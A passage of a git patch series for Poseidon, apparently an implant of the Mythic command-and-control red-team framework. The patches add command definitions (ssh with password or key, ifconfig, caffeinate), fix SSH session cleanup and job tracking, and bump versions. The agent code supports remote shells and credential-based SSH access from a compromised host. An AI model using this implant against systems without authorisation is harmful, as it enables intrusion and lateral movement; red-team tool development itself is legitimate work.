base64.StdEncoding.EncodeToString([]byte(bufferedError)), + MessageType: InteractiveTask.Error, + } + bufferedError = "" + } + + } + } + }() + go func() { + for { + select { + case <-doneTimeDelayChannel: + return + case <-time.After(1 * time.Second): + sendTimeDelayChannel <- true + } + } + }() + go func() { + stdOutReader := bufio.NewReader(stdOutPipe) + buff := make([]byte, 1024) + var totalRead int = 0 + var readError error = nil + for readError == nil { + totalRead, readError = stdOutReader.Read(buff) + if readError != nil && readError == io.EOF { + //fmt.Printf("reached EOF\n") + return + } else if readError != nil { + //fmt.Printf("got an error reading: %v\n", err) + return + } else { + outputChannel <- fmt.Sprintf("%s", string(buff[:totalRead])) + } + } + //fmt.Printf("Finished reading from tty\n") + }() + go func() { + stdErrReader := bufio.NewReader(stdErrPipe) + buff := make([]byte, 1024) + var totalRead int = 0 + var readError error = nil + for readError == nil { + totalRead, readError = stdErrReader.Read(buff) + if readError != nil && readError == io.EOF { + //fmt.Printf("reached EOF\n") + return + } else if readError != nil { + //fmt.Printf("got an error reading: %v\n", err) + return + } else { + outputChannel <- fmt.Sprintf("%s", string(buff[:totalRead])) + } + } + //fmt.Printf("Finished reading from tty\n") + }() + err = session.Wait() + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + outputMsg := structs.Response{} + outputMsg.TaskID = task.TaskID + outputMsg.Completed = true + task.Job.SendResponses <- outputMsg + doneTimeDelayChannel <- true + doneChannel <- true + return +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go index 61e2977..e7879b0 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go @@ -21,7 +21,7 @@ import ( "time" ) -const version = "2.1.4" +const version = "2.1.5" type sleepInfoStruct struct { Interval int `json:"interval"` diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go b/Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go new file mode 100644 index 0000000..bf7671e --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go @@ -0,0 +1,47 @@ +package agentfunctions + +import ( + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "caffeinate", + Description: "Prevent the system from sleeping", + HelpString: "caffeinate -enable", + Version: 1, + Author: "@its_a_feature_", + MitreAttackMappings: []string{}, + SupportedUIFeatures: []string{}, + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{agentstructs.SUPPORTED_OS_MACOS}, + }, + CommandParameters: []agentstructs.CommandParameter{ + { + Name: "enable", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_BOOLEAN, + Description: "Enable caffeinate", + DefaultValue: false, + ModalDisplayName: "Enable", + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: false, + }, + }, + }, + }, + TaskFunctionCreateTasking: func(taskData *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: taskData.Task.ID, + } + return response + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return args.LoadArgsFromDictionary(input) + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + return args.LoadArgsFromJSONString(input) + }, + }) +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go b/Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go new file mode 100644 index 0000000..3f14925 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go @@ -0,0 +1,33 @@ +package agentfunctions + +import ( + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "ifconfig", + Description: "Get all of the current IP addresses", + HelpString: "ifconfig", + Version: 1, + MitreAttackMappings: []string{"T1082"}, + SupportedUIFeatures: []string{}, + Author: "@its_a_feature_", + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{}, + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + return nil + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return nil + }, + TaskFunctionCreateTasking: func(task *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: task.Task.ID, + } + return response + }, + }) +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/ssh.go b/Payload_Type/poseidon/poseidon/agentfunctions/ssh.go new file mode 100644 index 0000000..aff8e84 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/ssh.go @@ -0,0 +1,137 @@ +package agentfunctions + +import ( + "fmt" + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" + "strings" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "ssh", + Description: `SSH to host using the designated credentials and open a PTY without spawning ssh`, + HelpString: "ssh", + Version: 1, + Author: "@its_a_feature_", + MitreAttackMappings: []string{}, + SupportedUIFeatures: []string{"task_response:interactive"}, + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{}, + }, + CommandParameters: []agentstructs.CommandParameter{ + { + Name: "username", + ModalDisplayName: "Username", + Description: "Authenticate to the designated hosts using this username", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 1, + GroupName: "run-command-plaintext-password", + }, + { + ParameterIsRequired: true, + UIModalPosition: 1, + GroupName: "run-command-private-key", + }, + }, + }, + { + Name: "private_key", + ModalDisplayName: "Path to Private key on disk", + Description: "Authenticate to the designated hosts using this private key", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 2, + GroupName: "run-command-private-key", + }, + }, + }, + { + Name: "port", + ModalDisplayName: "SSH Port", + Description: "SSH Port if different than 22", + DefaultValue: 22, + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_NUMBER, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: false, + UIModalPosition: 5, + GroupName: "run-command-private-key", + }, + { + ParameterIsRequired: false, + UIModalPosition: 5, + GroupName: "run-command-plaintext-password", + }, + }, + }, + { + Name: "password", + ModalDisplayName: "Plaintext Password", + Description: "Authenticate to the designated hosts using this password", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 3, + GroupName: "run-command-plaintext-password", + }, + }, + }, + { + Name: "host", + ModalDisplayName: "Hostname or IP", + Description: "Host that you will auth to", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + DefaultValue: "127.0.0.1", + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 4, + GroupName: "run-command-plaintext-password", + }, + { + ParameterIsRequired: true, + UIModalPosition: 4, + GroupName: "run-command-private-key", + }, + }, + }, + }, + TaskFunctionCreateTasking: func(taskData *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: taskData.Task.ID, + } + displayParams := "" + if username, err := taskData.Args.GetStringArg("username"); err != nil { + response.Success = false + response.Error = err.Error() + } else if groupName, err := taskData.Args.GetParameterGroupName(); err != nil { + response.Success = false + response.Error = err.Error() + } else { + displayParams += fmt.Sprintf("as %s ", username) + if strings.Contains(groupName, "private-key") { + // authing with private key + displayParams += fmt.Sprintf("with a private key") + } else { + // authing with plaintext password + displayParams += fmt.Sprintf("with a plaintext password") + } + response.DisplayParams = &displayParams + } + return response + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return args.LoadArgsFromDictionary(input) + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + return args.LoadArgsFromJSONString(input) + }, + }) +} From 5861340e0c656a70d3bc7dac2b3f5dfcefd24c79 Mon Sep 17 00:00:00 2001 From: github-actions <41898282+github-actions[bot]@users.noreply.github.com> Date: Fri, 6 Sep 2024 01:03:31 +0000 Subject: [PATCH 6/8] Bump Dockerfile tag to match release 'v0.0.1.10' --- config.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.json b/config.json index 239f6b0..3a0d583 100644 --- a/config.json +++ b/config.json @@ -5,6 +5,6 @@ "exclude_documentation_c2": false, "exclude_agent_icons": false, "remote_images": { - "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.9" + "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.10" } } \ No newline at end of file From 46a28ec7a85aa8455aec9e5b59956d5dd6f8fcda Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Fri, 6 Sep 2024 19:28:39 -0400 Subject: [PATCH 7/8] fixing ssh/sshauth connections and job tracking issues --- .../poseidon/poseidon/agent_code/CHANGELOG.MD | 7 +++ .../poseidon/agent_code/pkg/profiles/http.go | 4 ++ .../agent_code/pkg/tasks/taskManagement.go | 23 ++++++---- .../poseidon/poseidon/agent_code/ssh/ssh.go | 45 ++++++++++++++----- .../poseidon/agent_code/sshauth/sshauth.go | 3 +- .../poseidon/agentfunctions/builder.go | 2 +- 6 files changed, 61 insertions(+), 23 deletions(-) diff --git a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD index fe5a4a6..574003d 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD +++ b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD @@ -4,6 +4,13 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 2.1.6 - 2024-09-06 + +### Changed + +- Updated jobs/jobkill to track properly +- Updated ssh and sshauth to kill connections + ## 2.1.3 - 2024-09-05 ### Changed diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/http.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/http.go index b99422a..17fd830 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/http.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/http.go @@ -86,6 +86,10 @@ func init() { } else if initialConfig.CallbackPort == 80 && strings.Contains(initialConfig.CallbackHost, "http://") { final_url = initialConfig.CallbackHost } else { + if len(initialConfig.CallbackHost) < 9 { + utils.PrintDebug(fmt.Sprintf("callbackhost length is wrong, exiting: %s\n", initialConfig.CallbackHost)) + os.Exit(1) + } last_slash = strings.Index(initialConfig.CallbackHost[8:], "/") if last_slash == -1 { //there is no 3rd slash diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/taskManagement.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/taskManagement.go index e95955f..1907b2d 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/taskManagement.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/taskManagement.go @@ -20,7 +20,7 @@ func listenForRemoveRunningTask() { // getJobListing is the 'jobs' command and prints the `ToStub` call on each task func getJobListing(task structs.Task) { - msg := structs.Response{} + msg := task.NewResponse() msg.TaskID = task.TaskID msg.Completed = true // For graceful error handling server-side when zero jobs are processing. @@ -30,24 +30,29 @@ func getJobListing(task structs.Task) { var jobList []structs.TaskStub runningTaskMutex.Lock() for _, x := range runningTasks { - jobList = append(jobList, x.ToStub()) + if x.Command != "jobs" { + jobList = append(jobList, x.ToStub()) + } } runningTaskMutex.Unlock() - jsonSlices, err := json.MarshalIndent(jobList, "", " ") - if err != nil { - msg.UserOutput = err.Error() - msg.Status = "error" + if len(jobList) > 0 { + jsonSlices, err := json.MarshalIndent(jobList, "", " ") + if err != nil { + msg.UserOutput = err.Error() + msg.Status = "error" + } else { + msg.UserOutput = string(jsonSlices) + } } else { - msg.UserOutput = string(jsonSlices) + msg.UserOutput = "0 jobs" } - } task.Job.SendResponses <- msg } // killJob is the 'jobkill' command which sets a Stop flag for the associated task to check func killJob(task structs.Task) { - msg := structs.Response{} + msg := task.NewResponse() msg.TaskID = task.TaskID foundTask := false diff --git a/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go b/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go index 96aab42..9ebe9bf 100755 --- a/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go +++ b/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go @@ -49,7 +49,7 @@ func PublicKeyFile(file string) (goSSH.AuthMethod, error) { return goSSH.PublicKeys(key), nil } -func SSHLogin(host string, port int, cred Credential) (*goSSH.Session, io.Reader, io.Reader, io.Writer, error) { +func SSHLogin(host string, port int, cred Credential) (*goSSH.Session, *goSSH.Client, io.Reader, io.Reader, io.Writer, error) { var sshConfig *goSSH.ClientConfig if cred.PrivateKey == "" { sshConfig = &goSSH.ClientConfig{ @@ -61,7 +61,7 @@ func SSHLogin(host string, port int, cred Credential) (*goSSH.Session, io.Reader } else { sshAuthMethodPrivateKey, err := PublicKeyFile(cred.PrivateKey) if err != nil { - return nil, nil, nil, nil, err + return nil, nil, nil, nil, nil, err } sshConfig = &goSSH.ClientConfig{ User: cred.Username, @@ -74,12 +74,12 @@ func SSHLogin(host string, port int, cred Credential) (*goSSH.Session, io.Reader connectionStr := fmt.Sprintf("%s:%d", host, port) connection, err := goSSH.Dial("tcp", connectionStr, sshConfig) if err != nil { - return nil, nil, nil, nil, err + return nil, nil, nil, nil, nil, err } session, err := connection.NewSession() if err != nil { connection.Close() - return nil, nil, nil, nil, err + return nil, nil, nil, nil, nil, err } modes := goSSH.TerminalModes{ goSSH.ECHO: 0, @@ -89,29 +89,37 @@ func SSHLogin(host string, port int, cred Credential) (*goSSH.Session, io.Reader err = session.RequestPty("xterm-256color", 80, 80, modes) if err != nil { session.Close() - return nil, nil, nil, nil, err + connection.Close() + return nil, nil, nil, nil, nil, err } stdErrPipe, err := session.StderrPipe() if err != nil { + session.Close() + connection.Close() utils.PrintDebug("failed to get stdErrPipe") - return nil, nil, nil, nil, err + return nil, nil, nil, nil, nil, err } stdOutPipe, err := session.StdoutPipe() if err != nil { + session.Close() + connection.Close() utils.PrintDebug("failed to get stdOutPipe") - return nil, nil, nil, nil, err + return nil, nil, nil, nil, nil, err } stdInPipe, err := session.StdinPipe() if err != nil { + session.Close() + connection.Close() utils.PrintDebug("failed to get stdInPipe") - return nil, nil, nil, nil, err + return nil, nil, nil, nil, nil, err } err = session.Shell() if err != nil { session.Close() - return nil, nil, nil, nil, err + connection.Close() + return nil, nil, nil, nil, nil, err } - return session, stdOutPipe, stdErrPipe, stdInPipe, nil + return session, connection, stdOutPipe, stdErrPipe, stdInPipe, nil } func Run(task structs.Task) { @@ -147,14 +155,13 @@ func Run(task structs.Task) { Password: params.Password, PrivateKey: params.PrivateKey, } - session, stdOutPipe, stdErrPipe, stdInPipe, err := SSHLogin(params.Host, params.Port, cred) + session, client, stdOutPipe, stdErrPipe, stdInPipe, err := SSHLogin(params.Host, params.Port, cred) if err != nil { utils.PrintDebug("failed to login") msg.SetError(err.Error()) task.Job.SendResponses <- msg return } - defer session.Close() // start processing the new ssh pty outputChannel := make(chan string, 1) @@ -165,6 +172,9 @@ func Run(task structs.Task) { go func() { // wait for stdin data and pass that along for { + if *task.Job.Stop == 1 { + return + } select { case inputMsg := <-task.Job.InteractiveTaskInputChannel: data, err := base64.StdEncoding.DecodeString(inputMsg.Data) @@ -303,6 +313,11 @@ func Run(task structs.Task) { }() go func() { for { + if *task.Job.Stop == 1 { + session.Close() + doneChannel <- true + return + } select { case <-doneTimeDelayChannel: return @@ -351,10 +366,16 @@ func Run(task structs.Task) { }() err = session.Wait() if err != nil { + session.Close() + client.Close() msg.SetError(err.Error()) task.Job.SendResponses <- msg + doneTimeDelayChannel <- true + doneChannel <- true return } + session.Close() + client.Close() outputMsg := structs.Response{} outputMsg.TaskID = task.TaskID outputMsg.Completed = true diff --git a/Payload_Type/poseidon/poseidon/agent_code/sshauth/sshauth.go b/Payload_Type/poseidon/poseidon/agent_code/sshauth/sshauth.go index 2ee51a3..4d1e724 100755 --- a/Payload_Type/poseidon/poseidon/agent_code/sshauth/sshauth.go +++ b/Payload_Type/poseidon/poseidon/agent_code/sshauth/sshauth.go @@ -123,6 +123,7 @@ func SSHLogin(host string, port int, cred Credential, debug bool, command string sshResultChan <- res return } + defer connection.Close() session, err := connection.NewSession() defer session.Close() if err != nil { @@ -292,7 +293,7 @@ func Run(task structs.Task) { } } else { // log.Println("No successful auths.") - msg.UserOutput = "No successful authenication attempts" + msg.UserOutput = "No successful authentication attempts" msg.Completed = true task.Job.SendResponses <- msg return diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go index e7879b0..c813157 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go @@ -21,7 +21,7 @@ import ( "time" ) -const version = "2.1.5" +const version = "2.1.6" type sleepInfoStruct struct { Interval int `json:"interval"` From 4b710fd02adb0814ec6686ccbaaf4071c6f78a76 Mon Sep 17 00:00:00 2001 From: github-actions <41898282+github-actions[bot]@users.noreply.github.com> Date: Fri, 6 Sep 2024 23:35:22 +0000 Subject: [PATCH 8/8] Bump Dockerfile tag to match release 'v0.0.1.11' --- config.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.json b/config.json index 3a0d583..f6ddc5b 100644 --- a/config.json +++ b/config.json @@ -5,6 +5,6 @@ "exclude_documentation_c2": false, "exclude_agent_icons": false, "remote_images": { - "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.10" + "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.11" } } \ No newline at end of file